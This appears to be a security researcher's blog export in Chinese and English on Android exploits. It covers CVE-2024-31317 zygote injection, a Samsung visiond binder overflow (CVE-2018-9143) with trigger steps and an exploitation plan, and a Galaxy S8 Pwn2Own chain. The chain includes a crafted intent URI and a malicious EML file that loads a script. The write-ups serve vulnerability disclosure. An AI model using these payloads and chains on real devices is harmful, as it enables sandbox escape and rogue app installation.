可以看到我们启动了settings进程,并使其可调试注入(有jdwp线程存在)。利用JDWP进行代码注入的方式可以参考笔者之前的文章。另注,截图所示方法在12及以上的版本我们没有进行适配,读者可自行研究。

其他利用方法

目前来看,方法一简单直接可拿到任意uid的shell,但无法直接实现代码注入加载。方法二可实现代码注入加载,但需要使用jdwp协议。是否有更好的办法?

或许我们可以通过修改注入参数的类名:也就是之前的 android.app.ActivityThread ,来指向其他的gadgetClass,例如 WrapperInit.wrapperinit

protected static Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges,
        String[] argv, ClassLoader classLoader) {
    // If the application calls System.exit(), terminate the process
    // immediately without running any shutdown hooks.  It is not possible to
    // shutdown an Android application gracefully.  Among other things, the
    // Android runtime shutdown hooks close the Binder driver, which can cause
    // leftover running threads to crash before the process actually exits.
    nativeSetExitWithoutCleanup(true);

    VMRuntime.getRuntime().setTargetSdkVersion(targetSdkVersion);
    VMRuntime.getRuntime().setDisabledCompatChanges(disabledCompatChanges);

    final Arguments args = new Arguments(argv);

    // The end of of the RuntimeInit event (see #zygoteInit).
    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);

    // Remaining arguments are passed to the start class's static main
    return findStaticMain(args.startClass, args.startArgs, classLoader);
}

似乎通过WrapperInit,我们可以控制classLoader来注入我们的class,可实现期待的效果。

private static Runnable wrapperInit(int targetSdkVersion, String[] argv) {
    if (RuntimeInit.DEBUG) {
        Slog.d(RuntimeInit.TAG, "RuntimeInit: Starting application from wrapper");
    }

    // Check whether the first argument is a "-cp" in argv, and assume the next argument is the
    // classpath. If found, create a PathClassLoader and use it for applicationInit.
    ClassLoader classLoader = null;
    if (argv != null && argv.length > 2 && argv[0].equals("-cp")) {
        classLoader = ZygoteInit.createPathClassLoader(argv[1], targetSdkVersion);

        // Install this classloader as the context classloader, too.
        Thread.currentThread().setContextClassLoader(classLoader);

        // Remove the classpath from the arguments.
        String removedArgs[] = new String[argv.length - 2];
        System.arraycopy(argv, 2, removedArgs, 0, argv.length - 2);
        argv = removedArgs;
    }
    // Perform the same initialization that would happen after the Zygote forks.
    Zygote.nativePreApplicationInit();
    return RuntimeInit.applicationInit(targetSdkVersion, /*disabledCompatChanges*/ null,
            argv, classLoader);
}

具体利用方式留待感兴趣的读者进一步实践。

总结

本文分析了CVE-2024-31317漏洞的起因,并分享了我们的利用研究和方法。这个漏洞具有类似于当年我们发现的魔形女漏洞的效果,但又各有长短。通过这个漏洞,我们可以获取任意uid的权限,近似于突破Android沙箱获取任意app的权限。

致谢

感谢Meta X Team的Tom Hebb与笔者的技术讨论 – Tom即为该漏洞的发现者,笔者与其在Meta Researcher Conference相识。

alex, bh对本文亦有贡献。

参考内容

Examining and exploiting android vendor binder services – part1

Vendor binder services proved to be an interesting part of android devices nature. They usually remains close-source, but sometimes open new attack surface for privilege escalation. In these articles I will first describe how to locate interesting binder service and a reversing quirk, then two typical CVEs will be discussed about their nature and exploitation, and how to find them.

Locating interesting binder services

Before Android N, all binder services were registered to servicemanager, and communicated with each other under /dev/binder. After Android N, binder domains are splitted to normal domain under /dev/binder, vendor domain under /dev/vndbinder, and hardware domain under /dev/hwbinder. Normal untrusted_app access is restricted to /dev/binder.

There’re possibly more than 200 binder services on some vendor devices, and most of them are Java services. Java code may introduce common android logic problems, which we will not cover in this blog post. Currently we are only interested in memory corruption bugs lies in native code.

So first question arises: how do we deduce which services may have interesting native code? Where are these services running?J previously released a tool named bindump, by reading binder data in debugfs, the tool can iterate which process owns a process and which processes are using this service. However days  have passed and android has involved pretty much, major problems including

  • debugfs is no longer readable by normal process so you will need root to run
  • Binder node now have context so you have to distinguish between different domain context
  • Libbinder.so linking symbols changes in every version so one may not be able to reuse the binary and need to recompile the source on top of corresponding AOSP source branch

To solve problem 2 and 3, I rewrite the tool in Java and encapsulated it into a standalone jar, its source and binary can be found here.

With the tool to find hosting process for binder service, we move to look binder services in native processes.

CVE-2018-9143: buffer overflow in visiond service

There’s an arbitrary length/value overflow in the platform’s visiond daemon, which runs under system uid. visiond exposes a service named media.air, multiple dynamic libraries are used by this service, including visiond, libairserviceproxy, libairservice, libair. libairserviceproxy is the library with server-side method implementations, namely BnAIRClient::onTransact, BnEngine::onTransact, BnAIRService::onTransact.

Missing vtable entries?

An interesting fact worth noticing when reversing these libraries is that, in IDA at the address where we should find vtables, except top-offset and virtual-base offset, all other virtual method pointer items are all zero. However at runtime, the corresponding memory locations become normal. This does not appear on Nexus or Pixel image libraries when opened with IDA.

hedan vtable1

At first glance it may seem like a binary protection for anti-reversing. However after some digging in we found it’s acutally a new Android linker feature that was not supported by IDA. To understand this symposym, one should first be clear that the vtable function addresses does not naturally resides in .data.rel.ro. Their offsets are actually stored in relocation entries at .rela.dyn with type R_AARCH64_RELATIVE or others. IDA and other disassembler tools do the job of linker, read, calculate and store the value into their respective locations. If IDA failed to parse the relocation entries, the target addresses will be left untouched, as seen in the screenshot.

So what’s the offending linker feature? Quoting from chromium docs:

Packed Relocations
All flavors of lib(mono)chrome.so enable “packed relocations”, or “APS2 relocations” in order to save binary size.
Refer to this source file for an explanation of the format.
To process these relocations:
Pre-M Android: Our custom linker must be used.
M+ Android: The system linker understands the format.
To see if relocations are packed, look for LOOS+# when running: readelf -S libchrome.so
Android P+ supports an even better format known as RELR.
We'll likely switch non-Monochrome apks over to using it once it is implemented in lld.

vtable2

This feature encodes binary data in SLEB128 format in order to save space for large binaries. The detailed implementation, including encoding and decoding algorithm can be found here( http://androidxref.com/9.0.0_r3/xref/bionic/tools/relocation_packer/src/delta_encoder.h). At runtime, the linker decodes this segment, rearranging other segment addresses and extracts normal relocation entries. Then everything goes back to normal. IDA at that time does not supported this encoding so all relocation infos are lost in IDA. One can use the relocation_packer tool itself to recover the addresses.

Update: Two years after Android introduced this feature IDA 7.3 has finally supported APS2 relocation, which can be seen in the following screenshot.

+ ELF: added support for packed android relocations (APS2 format)

vtable3

AirService copies in the air

BnAirServiceProxy provides two methods for managing AirClient passed from client process. One accepts a StrongBinder (AirClient) and an int option, returns a binder handle (pointing to BnAIR) for client process to invoke.If the int option is 0, it will create a FileSource thread. If the option is 1, it will create a CameraSourceThread(only this can trigger this vulnerability)

BnAIR::transact (in libair.so) has many functions, the functions relating to this exp is android::AIRService::Client::configure, start and enqueueFrame. We must call these functions in order of configure->start->enqueueFrame to do a property setup.The specific vulnerable function is enqueueFrame. enqueueFrame receives an int and IMemory, and the IMemory content is copied out to a previously allocated fixed IMemory in Frame object.

android::RefBase *__fastcall android::FrameManager::enqueueFrame(__int64 someptr, __int64 imemory)
{
//...
 v4 = (android::FrameManager::Frame *)operator new(0x38uLL);
 android::FrameManager::Frame::Frame(v4, v5, *(_DWORD *)(v2 + 0x88), *(_DWORD *)(v2 + 140), 17, *(_DWORD *)(v2 + 144));
 v16 = v4;

 android::RefBase::incStrong(v4, &v16);

 (*(void (**)(void))(**(_QWORD **)v3 + 0x20LL))(); //offset and size is retrived

 v6 = (*(__int64 (**)(void))(*(_QWORD *)v16 + 88LL))(); //v6 = Frame->imemory->base();

 v7 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)imemoryheap + 40LL))(imemoryheap); //v7 = imemoryheap->base();

 memcpy(v6, v7 + v15, v14);//memcpy(frame->imemory->base(), imemoryheap->base() + offset, imemoryheap->size());//overflow here
//...
 if ( imemoryheap )
   android::RefBase::decStrong(
     (android::RefBase *)(imemoryheap + *(_QWORD *)(*(_QWORD *)imemoryheap - 24LL)),
     &imemoryheap);
 result = v16;
 if ( v16 )
   result = (android::RefBase *)android::RefBase::decStrong(v16, &v16);

 return result;

}

The detailed steps are as follows:

  1. We use first transact with code=3 from untrusted_app to /system/bin/visond service, to trigger android::AIRService::Client::configure(int) in libairservice.so. This transact is needed to init some parameters
  2. The second transact with code=4, which starts an AIRService Client, android::AIRService::Client::start() start the Client to accept the final transaction
  3. The final transact, with code=7, actually passes an IMemory with attacker controlled length/content, to trigger android::AIRService::Client::enqueueFrame(int, android::spandroid::IMemory const&).

The mmaped area in Frame itself is usually 2M, so any passed in Imemory with size > 2M will trigger overflow.

    fpsr 00000000  fpcr 00000000
backtrace:
    #00 pc 000000000001b014  /system/lib64/libc.so (memcpy+332)
    #01 pc 0000000000029b5c  /system/lib64/libairservice.so (_ZN7android12FrameManager12enqueueFrameERKNS_2spINS_7IMemoryEEE+188)
    #02 pc 0000000000030c8c  /system/lib64/libairservice.so (_ZN7android10AIRService6Client12enqueueFrameEiRKNS_2spINS_7IMemoryEEE+72)
    #03 pc 000000000000fbf8  /system/lib64/libair.so (_ZN7android5BnAIR10onTransactEjRKNS_6ParcelEPS1_j+732)
    #04 pc 000000000004a340  /system/lib64/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+132)
    #05 pc 00000000000564f0  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+1032)
    #06 pc 000000000005602c  /system/lib64/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+156)
    #07 pc 0000000000056744  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+128)
    #08 pc 0000000000074b70  /system/lib64/libbinder.so
    #09 pc 00000000000127f0  /system/lib64/libutils.so (_ZN7android6Thread11_threadLoopEPv+336)
    #10 pc 00000000000770f4  /system/lib64/libc.so (_ZL15__pthread_startPv+204)
    #11 pc 000000000001e7d0  /system/lib64/libc.so (__start_thread+16)

Exploitation?

This may be similar to Project Zero’s bitunmap bug, since overflow occurs in mmaped area. When android::AIRService::Client::configure is called, a new thread is created in libairservice.so. By allocating Frame, and removing Frame we can create a hole in highmem area. Allocate Frame again, trigger overflow and we can override the thread mmaped area to get PC control.

However, SElinux still enforces strict limitation (no execmem, no executable file loading, cannot lookup PackageManagerService in servicemanager), on visiond, although it’s a system-uid process. How can we utilize this elevated privilege to do things malicious like installing arbitrary app, if we even cannot access PackageManagerService?

Note that although SELinux prohibits visiond from looking up the PMS service, neither it nor the PMS itself has additional restrictions or checks when PMS’s transactions are actually invoked, if we have the service handle. So we may use the following steps to bypass this restriction:

  • Attacking app (untrusted_app context) obtains StrongBinder handle of PMS
  • Attacking app passes the handle to visiond. Any transaction method accepting and storing StrongBinder will work.
  • Attacking app triggers the vulnerability, gains code execution. Payload searches the specific memory location in step 2 to find the handle
  • Payload calls PMS’s installPackage method with the handle

Conclusion

So this’s CVE-2018-9143. Samsung has already posted advisory and pushed out FIX via firmware OTA. In next article I will describe CVE-2018-9139, a heap overflow in sensorhubservice, and how we examined and fuzzed the target to find this vulnerability, with a PC-controlled POC.

Bonus: POC for this CVE and vulnerable binary has been posted at https://github.com/flankerhqd/binder-cves for your reference.

Examining and exploiting android vendor binder services – part 1

安卓生态多姿多彩,在AOSP之外各大厂商的binder service也同样各式各样。这些自行实现的service通常来说是闭源的,常常成为会被人忽略的提权攻击面。在这一系列文章中,我会先描述如何定位可能有问题的binder service进行后续研究,以及逆向中一些有意思的发现,随后会以之前发现的两个典型的CVE为例,讨论这些漏洞是如何产生的,如何发现它们,以及如何进行利用。

寻找潜在的分析目标

在Android N之前,所有的binder service都是在servicemanager中进行注册的,client通过/dev/binder与service进行通讯。Android N对binder服务引入了domain切分的概念,常规的服务依然使用/dev/binder,而vendor domain则转换为使用/dev/vndbinder, hardware domain转换为使用/dev/hwbinder。常规的untrusted_app访问被限制在了/dev/binder。

通过service list,我们可以查看设备上注册了多少normal domain的service。AOSP设备一般会有100+,而各大厂商的设备均会达到200以上。其中大部分都是Java服务,虽说Java服务通常也会引入一些常见的逻辑问题,但暂时不属于本文的讨论范围。目前的范围内,我们只关注包含有native code,可能存在内存破坏漏洞的组件。 所以第一个问题出现了,如何确定哪些服务是通过native code处理的?根据binder服务的形式,存在如下可能:

  • 该服务直接运行在native process中
  • 该服务运行在JVM process中(例:注册于system_server中),但存在JNI调用

无论分析哪种形式,我们都需要先确定该服务的host进程。在进程注册或打开binder服务的时候, debugfs中会留下相应的node entry或ref entry。Android Internals的作者数年前开源的工具bindump即通过遍历这个信息来获取服务的进程关系。其工作原理如下:

  • tool process打开目标服务,获取本进程新增的ref id
  • 遍历procfs, 通过ref id匹配各进程的node id,匹配到的进程即为该服务host process

这个方法非常有效,不过随着Android的演进,原始的bindump工具现在遇到了如下问题:

  • debugfs现在需要root权限才能打开,普通进程已经无法打开debugfs
  • binder node现在具有了domain的概念,需要区分不同domain中的node
  • 原始的bindump link到libbinder.so,但每个版本更新后symbol location会发生变化,导致原有的binary在新版本上无法运行,每个版本都会需要在AOSP source tree下重新编译(如果vendor改动了libbinder问题就更大了)

为了解决问题2和3,我用Java重写了bindump,将其打包成可以忽略平台版本问题单独运行的jar包,相关代码和precompiled jar已经放在了GitHub上 (https://github.com/flankerhqd/bindump4j)。

在解决了以上问题之后,我们终于可以定位到运行在native process中的服务,并进行后续分析了。

CVE-2018-9143: buffer overflow in visiond service

media.air是一个运行在Samsung设备系统进程/system/bin/visiond中的服务。visiond本身加载了多个动态执行库,包括libairserviceproxy, libairservice, libair 等, 并以system-uid运行。 相关服务的实现端,例如 BnAIRClient::onTransact, BnEngine::onTransact, BnAIRService::onTransact等存在于libairserviceproxy中。

虚表指针去哪里了?

逆向C++库的关键准备之一是定位相应虚函数指针,并使用IDA脚本通过这些信息进行type reconstruction。但当我们在IDA中打开media.air服务的动态库时,却惊讶地发现,在原来应该有vtable表项指针的地方,除了top-offset和virtual-base offset还在,其他的指针大部分神秘地消失了,如下图所示

hedan vtable1

而同样大版本的AOSP/Pixel/Nexus镜像的binary中并没有出现这样的问题。谁偷了我的虚表指针?

乍一看可能会觉得三星在故意搞事,像国内厂商一样做了某种混淆来对抗静态分析,但实际上并不是。为了理解这种现象,我们先来回忆下虚表项指针的存储方式。

首先,IDA给我们展示的rel section并不是ELF中实际的内容,而是处理过后的结果。虚表指针项并不直接存储在.data.rel.ro section,而是linker 重定位之后的结果。它们的原始内容实际上存在于.rela.dyn中,以R_AARCH64_RELATIVE表项的形式存在。在library被加载时,linker会根据表项中的offset,将重定位后的实际地址写入对应的offset中,也就是vtable真正的地址。 IDA和其他分析工具会模拟linker的功能预先对这些内容进行解析并写入,但如果IDA解析relocation table失败,那么这些地址会维持其在ELF中的原始内容,也就是0。

但是什么导致了IDA解析失败?这是在N后引入的APS2重定位特性,最先应用在chromium上,如下所述:

Packed Relocations
All flavors of lib(mono)chrome.so enable “packed relocations”, or “APS2 relocations” in order to save binary size.
Refer to this source file for an explanation of the format.
To process these relocations:
Pre-M Android: Our custom linker must be used.
M+ Android: The system linker understands the format.
To see if relocations are packed, look for LOOS+# when running: readelf -S libchrome.so
Android P+ supports an even better format known as RELR.
We'll likely switch non-Monochrome apks over to using it once it is implemented in lld.

vtable2

APS2将重定向表以SLEB128的格式压缩编码,对于大型binary可以缩小ELF的体积。具体的编码解码实现可以在( http://androidxref.com/9.0.0_r3/xref/bionic/tools/relocation_packer/src/delta_encoder.h)里找到。在运行时linker解压这个section,根据大小变化调整前后section的地址,将其恢复为一个正常的ELF进行加载。IDA尚不支持APS2 encoding所以我们会看到大部分重定向信息都丢失了,可以用上述relocation_packer工具将其解码恢复。

一个好消息: 在APS2引入两年之后,IDA 7.3终于增加了对其的支持,现在可以看到IDA已经可以正确地恢复虚表项地址了。

IDA Changelog:
File formats:
...
+ ELF: added support for packed android relocations (APS2 format)
...

vtable3

AirService copies in the air

在解决了逆向的这个问题之后,我们回过头来分析下这个服务的相关结构。media.air中的BnAirServiceProxy提供了两个接收客户端传入的AirClient的初始化函数,其中一个以StrongBinder的形式接受输入,并返回一个指向BnAir服务的handle供客户端进程再次调用。当option参数为0时,该函数会创建一个FileSource线程,当option参数为1时其会创建一个CameraSourceThread线程。只有在CameraSourceThread线程中可以触发本漏洞。

在获得服务端BnAir服务的handle后,客户端将可以进一步调用其实现的transaction。libair.so中提供的BnAIR服务实现了一个针对Frame的状态机,状态机的关键函数包括configure, startenqueueFrame。在按照顺序调用之后最终触发有漏洞的enqueueFrame函数。

android::RefBase *__fastcall android::FrameManager::enqueueFrame(__int64 someptr, __int64 imemory)
{
//...
 v4 = (android::FrameManager::Frame *)operator new(0x38uLL);
 android::FrameManager::Frame::Frame(v4, v5, *(_DWORD *)(v2 + 0x88), *(_DWORD *)(v2 + 140), 17, *(_DWORD *)(v2 + 144));
 v16 = v4;

 android::RefBase::incStrong(v4, &v16);

 (*(void (**)(void))(**(_QWORD **)v3 + 0x20LL))(); //offset and size is retrived

 v6 = (*(__int64 (**)(void))(*(_QWORD *)v16 + 88LL))(); //v6 = Frame->imemory->base();

 v7 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)imemoryheap + 40LL))(imemoryheap); //v7 = imemoryheap->base();

 memcpy(v6, v7 + v15, v14);//memcpy(frame->imemory->base(), imemoryheap->base() + offset, imemoryheap->size());//overflow here
//...
 if ( imemoryheap )
   android::RefBase::decStrong(
     (android::RefBase *)(imemoryheap + *(_QWORD *)(*(_QWORD *)imemoryheap - 24LL)),
     &imemoryheap);
 result = v16;
 if ( v16 )
   result = (android::RefBase *)android::RefBase::decStrong(v16, &v16);

 return result;

}

可以看到,传入的IMemory在被mmap后并没有对长度做任何的检查,直接memcpy进入了Frame的IMemory中,而后者的预定义size是2*1024*1024,即超过2M的映射,即会引发overflow。

整体的触发步骤如下:

  • media.air发送一个code=1 的transaction以获取BnAir的handle,以下步骤的调用对象均为该handle
  • 发送一个code=3 的transaction以触发 android::AIRService::Client::configure(int)。该函数会完成对应对象的参数初始化
  • 发送一个code=4的transaction以创建一个AIRService Client, 并调用android::AIRService::Client::start()启动
  • 最后一个code=7的transaction最终传入攻击者可控内容和长度的IMemory,触发android::AIRService::Client::enqueueFrame(int, android::sp<android::IMemory> const&)中的溢出
    fpsr 00000000  fpcr 00000000
backtrace:
    #00 pc 000000000001b014  /system/lib64/libc.so (memcpy+332)
    #01 pc 0000000000029b5c  /system/lib64/libairservice.so (_ZN7android12FrameManager12enqueueFrameERKNS_2spINS_7IMemoryEEE+188)
    #02 pc 0000000000030c8c  /system/lib64/libairservice.so (_ZN7android10AIRService6Client12enqueueFrameEiRKNS_2spINS_7IMemoryEEE+72)
    #03 pc 000000000000fbf8  /system/lib64/libair.so (_ZN7android5BnAIR10onTransactEjRKNS_6ParcelEPS1_j+732)
    #04 pc 000000000004a340  /system/lib64/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+132)
    #05 pc 00000000000564f0  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+1032)
    #06 pc 000000000005602c  /system/lib64/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+156)
    #07 pc 0000000000056744  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+128)
    #08 pc 0000000000074b70  /system/lib64/libbinder.so
    #09 pc 00000000000127f0  /system/lib64/libutils.so (_ZN7android6Thread11_threadLoopEPv+336)
    #10 pc 00000000000770f4  /system/lib64/libc.so (_ZL15__pthread_startPv+204)
    #11 pc 000000000001e7d0  /system/lib64/libc.so (__start_thread+16)

如何利用?

这是一个类似于Project Zero之前公布的bitunmap案例的漏洞,两者的溢出都发生在mmap过的区域。由于mmap分配的内存区域相对较大,位置不同于常规的堆管理器管理区域,其利用方式不同于传统的堆溢出。读者应该会回忆到Project Zero是通过特定函数分配thread,然后溢出thread的control structre的方式来实现控制流劫持。同样地,在我们的目标中,android::AIRService::Client::configure被调用时,它会创建一个新的thread。通过风水Frame对象,我们构造内存空洞并在空洞中创建thread,触发溢出后劫持thread中的回调指针来最终控制PC。

但这还远远没有结束。虽然该进程是system-uid,但SELinux对其有严格的限制,例如no execmem, no executable file loading, 甚至无法向ServiceManager查询大部分系统服务。即使控制了PC,接下来又该何去何从,例如如何利用提升的权限来安装恶意应用,如果根本无法lookup PackageManagerService?

这里需要注意的是,虽然SELinux禁止了visiond去lookup service,但实际上并没有限制调用service自身的transaction,这依赖于service自身的实现,例如ActivityManagerService的相关函数是通过enforceNotIsolated标注来禁止isolated进程调用。所以只要能成功地将PMS的binder handle传递给visiond,攻击者依然可以以visiond的身份调用PMS来安装恶意应用,相关步骤如下:

  • Attacking app (untrusted_app context) 获得PMS的StrongBinder handle
  • Attacking app 将handle传递给visiond. 任何接收StrongBinder的服务端函数均可,例如BnAirServiceProxy中的第一个transaction
  • Attacking app 触发上述漏洞获取PC控制后,payload在内存中搜索上一步传入的PMS handle
  • Payload通过该handle调用PMS,完成恶意应用安装

总结

以上即为CVE-2018-9143,一个典型的binder service漏洞的故事。Samsung已经发布了advisory和补丁,并通过firmeware OTA修复了该漏洞。在下一篇文章中,我会介绍CVE-2018-9139,sensorhubservice中的一个堆溢出,以及如何通过fuzzing发现的该漏洞和它的利用(包括一个控制PC的poc)。

本文所描述的相关poc和有漏洞的服务binary均可以在 https://github.com/flankerhqd/binder-cves 中找到。

Galaxy Leapfrogging: Pwning the Galaxy S8

Hello everyone, long time no see! Now begins a series of blog posts about bugs I found before and now on Android vendors, including memory corruption and logical bugs, reported and fixed via Pwn2Own or official bug channel.

This very first post is about the chain of bugs we used in the end of 2017 to get remote arbitrary application install via clicking malicious link on newest Galaxy S8 at that time, prepared for Mobile Pwn2Own, with a V8 bug to get initial code execution in sandbox and 5 logical bugs to finally get arbitrary application install, with demo video. All bugs were reported and assigned CVE-2018-10496, CVE-2018-10497, CVE-2018-10498, CVE-2018-10499, CVE-2018-10500, CVE-2018-9140. The detail of the V8 bug will be covered in another post.

(Chinese version here)

Bug 0: Pwning and Examining the browser’s renderer process

Using the first V8 bug (CVE-2018-10496, credit to Gengming Liu and Zhen Feng of KeenLab), we have get initial code execution in the Samsung Internet Browser isolated process. Isolated process is heavily restricted in android, both in SElinux context and traditional DAC permission.

sbrowser processes

Doing a quick check on the SELinux profile reveals Samsung doing a good job. No additional service attack surface revealed. The sandbox process is still limited to access very few services and IPCs, e.g. starting activity is prohibited.

SELinux access vectors

For those who are interested in the Chrome browser sandbox architecture, you can refer to my CanSecWest presentation. Given Samsung did not open loophole for us to directly exploit from isolated context, we fall back to the good old ways to attack the browser IPC.

The Samsung Internet Browser has a quite different UI than Chrome but its core is still largely based on Chrome, so as the sandbox architecture. Looking over the past always gives us insight over future, which is quite true for ….

Bug 1: The Tokyo treasure: incomplete fix for CVE-2016-5197

Old readers will remember the good old Chrome IPC bug we used to pwn Pixel, as described here. Looking back into the fix…:

https://chromium.googlesource.com/chromium/src.git/+/abd993bfcdc18d41e5ea0f34312543bd6dae081e%5E%21/#F0

public class ContentViewClient {
 public void onStartContentIntent(Context context, String intentUrl, boolean isMainFrame) {
 //...
@@ -144,6 +148,14 @@
         // Perform generic parsing of the URI to turn it into an Intent.
         try {
             intent = Intent.parseUri(intentUrl, Intent.URI_INTENT_SCHEME);
+
+            String scheme = intent.getScheme();
+            if (!scheme.equals(GEO_SCHEME) && !scheme.equals(TEL_SCHEME)
+                    && !scheme.equals(MAILTO_SCHEME)) {
+                Log.w(TAG, "Invalid scheme for URI %s", intentUrl);
+                return;
+            }
+
//...
        try {
            context.startActivity(intent);
        } catch (ActivityNotFoundException ex) {
            Log.w(TAG, "No application can handle %s", intentUrl);
        }
    }

Google tries to fix the vulnerability by adding scheme check, restricting the string IPC accepts so that we cannot use this IPC to start arbitrary explicit activity anymore.

However, a crucial part is missing: intent resolution does not depend solely on scheme part. As long as the incoming argument contains component keyword, which will be parsed first, we can still use this IPC to send an explicit intent – starting arbitrary exported activity. So trivially adding "scheme=geo" will bypass this fix. Samsung Internet Browser shares the same source so it’s also affected.

Jumping from renderer sandbox

Of course due to the limitation of parseUri, we can only craft an Intent with string arguments (no fancy parcelable possible). Now we need to find a privileged application with activity exported and accepts and happily opens malicious URL or execute malicious Javascript in it’s webview.[1] As long as we pwned the webview, we pwned the application.

This bug is also tracked by Google under b/804969. Since in an unrelated refactor Chrome removed this IPC completely, this issue does not affect newest Chrome but still affect all downstream browsers which shares this code. Samsung does not assign a particular CVE for this issue but assigned the whole chain CVE-2018-9140/SVE-2017-10747.

Bug 2: The Email loves EML with a … XSS

Searching through the privileged applications we find Samsung Email.

Email activity

The exported com.samsung.android.email.ui.messageview.MessageFileView activity accepts eml file. What’s an eml file? EML is a dump format of email and seems Samsung Email is kindly enough to provide rich-text support for EML files – by rendering it in a Webview.

Of course it immediately pops up questions for a security researcher, XSS, script injection, etc. In our case, it means code execution. In CVE-2015-7893 Natalie had pointed out a similar issue so checks were added, but far from enough. It still does not have sufficient input validation in the EML file except simple filtering for <script>. We can just inject document.onload=blablaba, and construct script element on the fly, to bypass the fix, and get arbitrary script execution.

This issue is assigned CVE-2018-10497.

Bug 3: … And file:/// crossdomain

Although we have had an exploit theory in step 2, bundling lots of javascript exploit in the EML file itself creates trouble in heap fengshui and ruins our success rate. Luckily the webview configuration in Email allows us to access file:/// from file domain (i.e. setAllowFileAccessFromFileUrls), which enables us to shift the exploit to a single js file and minimizing the EML file, largely improving stability. Bonus point: this vulnerability combined with Bug 2 alone already allows us to read Email’s private file.

This issue is assigned CVE-2018-10498.

So now the EML file becomes like:

MIME-Version: 1.0
Received: by 10.220.191.194 with HTTP; Wed, 11 May 2011 12:27:12 -0700 (PDT)
Date: Wed, 11 May 2011 13:27:12 -0600
Delivered-To: jncjkq@gmail.com
Message-ID: <BANLkTi=JCQO1h3ET-pT_PLEHejhSSYxTZw@mail.jncjkq.com>
Subject: Test
From: Bill Jncjkq <jncjkq@gmail.com>
To: bookmarks@jncjkq.net
Content-Type: multipart/mixed; boundary=bcaec54eecc63acce904a3050f79

--bcaec54eecc63acce604a3050f77
Content-Type: text/html; charset=ISO-8859-1

<body onload=console.log("wtf");document.body.appendChild(document.createElement('script')).src='file:///sdcard/Download/exp.js'>
<br clear="all">--<br>Bill Jncjkqfuck<br>
</body>
--bcaec54eecc63acce604a3050f77--

By exploiting our V8 js bug bundled in the malicious EML again, we can get code execution in Email application, officially jumping out of sandbox. What is nice for us is that the Email application holds lots of precious application like capable of accessing photos, contacts, etc, which already meets Pwn2Own standard.

Given this attack surface, our sandbox-escaping exploit chain now contains the following steps:

  1. Force the browser to download the EML file with exploit code bundled. The download path is predictable like /sdcard/Download/test.eml and /sdcard/Download/exp.js
  2. In the compromised renderer process, craft an IPC with content intent:#Intent;scheme=geo;package=com.samsung.android.email.provider;component=com.samsung.android.email.provider/com.samsung.android.email.ui.messageview.MessageFileView;type=application/eml;S.AbsolutePath=/sdcard/Download/test.eml;end , calling up and exploiting the email application.
  3. We now owns the Email process privilege

Bug 4: Go beyond the Galaxy (Apps) … but blocked?

To achieve the ultimate goal of installing arbitrary application, our next step is trying to pwn a process with INSTALL_PACKAGES privilege. An obvious target is the Galaxy Apps, which is the app store for Samsung phones.

Digging into the APK file we find a promising Activity named com.samsung.android.sdk.ppmt.PpmtPopupActivity, which directly accepts and opens URL in it’s webview from intent. However this obvious target is of course protected.

…protected from other process but not protected from inside.

This issue is assigned CVE-2018-10500.

Bug 5: Push SDK pushes vulnerability

On auditing the Samsung platform apps, the same component com.sec.android.app.samsungapps/com.samsung.android.sdk.ppmt.PpmtReceiver and com.samsung.android.themestore/com.samsung.android.sdk.ppmt.PpmtReceiver appears many times. Turns out it’s an SDK responsible for campaign message pushing and processing. In PpmtReceiver ‘s source code, we find the following interesting snippets:

//The Ppmt receiver seems responsible for push message, and under certain intent configuration, it routes to path 

    private void a(Context arg5, Intent arg6, String arg7) {
        if("card_click".equals(arg7)) {
            CardActionLauncher.onCardClick(arg5, arg6);
            return;
        }

//in onCardClick, it reaches CardActionLauncher, 

    private static boolean a(Context arg2, String arg3, CardAction arg4) {
        boolean v0;
        if("app".equals(arg4.mType)) {
            v0 = CardActionLauncher.b(arg2, arg3, arg4);
        }

//If the CardAction.mType is "intent", we finally reaches the following snippet:

private static boolean d(Context arg5, String arg6, CardAction arg7) {
        boolean v0 = false;
        if(TextUtils.isEmpty(arg7.mPackageName)) {
            Slog.w(CardActionLauncher.a, "[" + arg6 + "] fail to launch intent. pkg null");
            return v0;
        }

        Intent v1 = new Intent();
        v1.setPackage(arg7.mPackageName);
        if(!TextUtils.isEmpty(arg7.mData)) {
            v1.setData(Uri.parse(arg7.mData));
            v1.setAction("android.intent.action.VIEW");
        }

        if(!TextUtils.isEmpty(arg7.mAction)) {
            v1.setAction(arg7.mAction);
        }

        if(!TextUtils.isEmpty(arg7.mClassName)) {
            v1.setComponent(new ComponentName(arg7.mPackageName, arg7.mClassName));
        }

        if(arg7.mExtra != null && !arg7.mExtra.isEmpty()) {
            v1.putExtras(arg7.mExtra);
        }

        CardActionLauncher.a(v1, arg6);
        try {
            switch(arg7.mComponent) {
                case 1: {
                    int v2 = 268435456;
        try {
            v1.setFlags(v2);
            arg5.startActivity(v1);
            goto label_78;
    //....

We can see it’s possible to start an activity with arbitrary arguments/components fully controlled by us, and Galaxy Apps is one of the users of Ppmt push sdk, exposing the PpmtReceiver. We use this vulnerability to indirectly start PpmtPopupActivity, PpmtPopupActivity will happily load any URL we passed in. Reusing the JS exploit, we again get a shell in Samsung Appstore, which has INSTALL_PACKAGE permission, allowing us to install any rogue application. An interesting point is that the activity does not have any explicit UI pointing to it so I guess it’s some common SDK that forgot to be removed.

This issue is assigned CVE-2018-10499.

Chaining it altogether

Combining it all together we have the following figure:

Whole escape chain

So this is how we pwned the Galaxy S8. Demo video has been posted at https://www.youtube.com/watch?v=UXLWk2Ya_6Q&feature=youtu.be at that time. All issues have been fixed by vendor.

